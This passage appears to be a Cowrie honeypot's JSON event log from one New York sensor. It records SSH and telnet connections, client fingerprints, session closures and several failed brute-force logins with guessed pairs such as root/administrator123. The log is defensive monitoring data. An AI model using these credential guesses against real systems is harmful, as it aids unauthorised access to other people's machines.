{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:34.174885Z","src_ip":"115.190.179.68","session":"e503fd7ff044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:34.184087Z","src_ip":"115.190.179.68","session":"e503fd7ff044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:34.518182Z","src_ip":"210.183.21.53","session":"83e8dc81dfea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":46836,"dst_ip":"159.203.135.109","dst_port":22,"session":"416e490da439","protocol":"ssh","message":"New connection: 72.79.42.117:46836 (159.203.135.109:22) [session: 416e490da439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:35.958597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:35.963956Z","src_ip":"72.79.42.117","session":"416e490da439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:35.972772Z","src_ip":"72.79.42.117","session":"416e490da439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz2wsx3edc","message":"login attempt [user/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:36.036045Z","src_ip":"72.79.42.117","session":"416e490da439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:37.045820Z","src_ip":"72.79.42.117","session":"416e490da439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47380,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0de34439308","protocol":"telnet","message":"New connection: 94.46.12.68:47380 (10.17.0.5:23) [session: d0de34439308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:40.232089Z"}
{"eventid":"cowrie.session.closed","duration":30.951395273208618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:43.409995Z","src_ip":"94.46.12.68","session":"d57bdd0c9e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55384,"dst_ip":"10.17.0.5","dst_port":23,"session":"61404ba61f95","protocol":"telnet","message":"New connection: 94.46.12.68:55384 (10.17.0.5:23) [session: 61404ba61f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:43.940047Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55902,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1fcfb8bc81a","protocol":"telnet","message":"New connection: 94.46.12.68:55902 (10.17.0.5:23) [session: d1fcfb8bc81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:44.121223Z"}
{"eventid":"cowrie.session.closed","duration":30.688771724700928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:45.619896Z","src_ip":"94.46.12.68","session":"f693b2b10617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330060720443726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:04:47.141681Z","src_ip":"94.46.12.68","session":"5fe55523f615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":33932,"dst_ip":"159.203.135.109","dst_port":22,"session":"50be9da67a69","protocol":"ssh","message":"New connection: 115.190.179.68:33932 (159.203.135.109:22) [session: 50be9da67a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:05.842619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:05.847395Z","src_ip":"115.190.179.68","session":"50be9da67a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:06.099517Z","src_ip":"115.190.179.68","session":"50be9da67a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator123","message":"login attempt [root/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:08.922034Z","src_ip":"115.190.179.68","session":"50be9da67a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:10.177254Z","src_ip":"115.190.179.68","session":"50be9da67a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"56931979a973","protocol":"telnet","message":"New connection: 94.46.12.68:53932 (10.17.0.5:23) [session: 56931979a973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:10.969922Z"}
{"eventid":"cowrie.session.closed","duration":30.824700117111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:11.056684Z","src_ip":"94.46.12.68","session":"d0de34439308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54662,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b0e903d414","protocol":"telnet","message":"New connection: 94.46.12.68:54662 (10.17.0.5:23) [session: 92b0e903d414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:11.406812Z"}
{"eventid":"cowrie.session.closed","duration":30.595153331756592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:14.535074Z","src_ip":"94.46.12.68","session":"61404ba61f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.321600198745728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:15.442725Z","src_ip":"94.46.12.68","session":"d1fcfb8bc81a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":39884,"dst_ip":"159.203.135.109","dst_port":22,"session":"08bbde4bd9b9","protocol":"ssh","message":"New connection: 72.79.42.117:39884 (159.203.135.109:22) [session: 08bbde4bd9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:21.989436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:21.994638Z","src_ip":"72.79.42.117","session":"08bbde4bd9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:22.002580Z","src_ip":"72.79.42.117","session":"08bbde4bd9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:22.069682Z","src_ip":"72.79.42.117","session":"08bbde4bd9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:23.084022Z","src_ip":"72.79.42.117","session":"08bbde4bd9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":50544,"dst_ip":"10.17.0.5","dst_port":22,"session":"b09bfc225e0d","protocol":"ssh","message":"New connection: 210.183.21.53:50544 (10.17.0.5:22) [session: b09bfc225e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:25.452664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:25.458369Z","src_ip":"210.183.21.53","session":"b09bfc225e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:25.657008Z","src_ip":"210.183.21.53","session":"b09bfc225e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test","message":"login attempt [ftpuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:26.482710Z","src_ip":"210.183.21.53","session":"b09bfc225e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:27.684864Z","src_ip":"210.183.21.53","session":"b09bfc225e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28210186958313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:42.251866Z","src_ip":"94.46.12.68","session":"56931979a973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045159578323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:42.451825Z","src_ip":"94.46.12.68","session":"92b0e903d414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47338,"dst_ip":"159.203.135.109","dst_port":23,"session":"3643786e9f6f","protocol":"telnet","message":"New connection: 185.26.126.47:47338 (159.203.135.109:23) [session: 3643786e9f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:43.604278Z"}
{"eventid":"cowrie.session.closed","duration":13.379083156585693,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:05:56.983211Z","src_ip":"185.26.126.47","session":"3643786e9f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016279220581,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:08.639894Z","src_ip":"105.172.105.4","session":"bceda139acc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00172352790833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.026991Z","src_ip":"105.172.105.4","session":"30382a00fb13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":59352,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ef5404820d","protocol":"ssh","message":"New connection: 72.79.42.117:59352 (159.203.135.109:22) [session: 70ef5404820d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.374349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.379758Z","src_ip":"72.79.42.117","session":"70ef5404820d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.386778Z","src_ip":"72.79.42.117","session":"70ef5404820d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev2022","message":"login attempt [dev/dev2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.449347Z","src_ip":"72.79.42.117","session":"70ef5404820d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00111722946167,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:10.918010Z","src_ip":"105.172.105.4","session":"6dd7eefdf0dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":12737,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e04958da27","protocol":"telnet","message":"New connection: 105.172.105.4:12737 (159.203.135.109:23) [session: e1e04958da27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:11.352113Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:11.460014Z","src_ip":"72.79.42.117","session":"70ef5404820d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":64622,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ba3539f2eb","protocol":"telnet","message":"New connection: 105.172.105.4:64622 (159.203.135.109:23) [session: 41ba3539f2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:14.332632Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":33672,"dst_ip":"159.203.135.109","dst_port":23,"session":"204c4847e111","protocol":"telnet","message":"New connection: 105.172.105.4:33672 (159.203.135.109:23) [session: 204c4847e111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:18.194483Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39302,"dst_ip":"10.17.0.5","dst_port":22,"session":"888284e270e1","protocol":"ssh","message":"New connection: 210.183.21.53:39302 (10.17.0.5:22) [session: 888284e270e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:19.672274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:19.678279Z","src_ip":"210.183.21.53","session":"888284e270e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr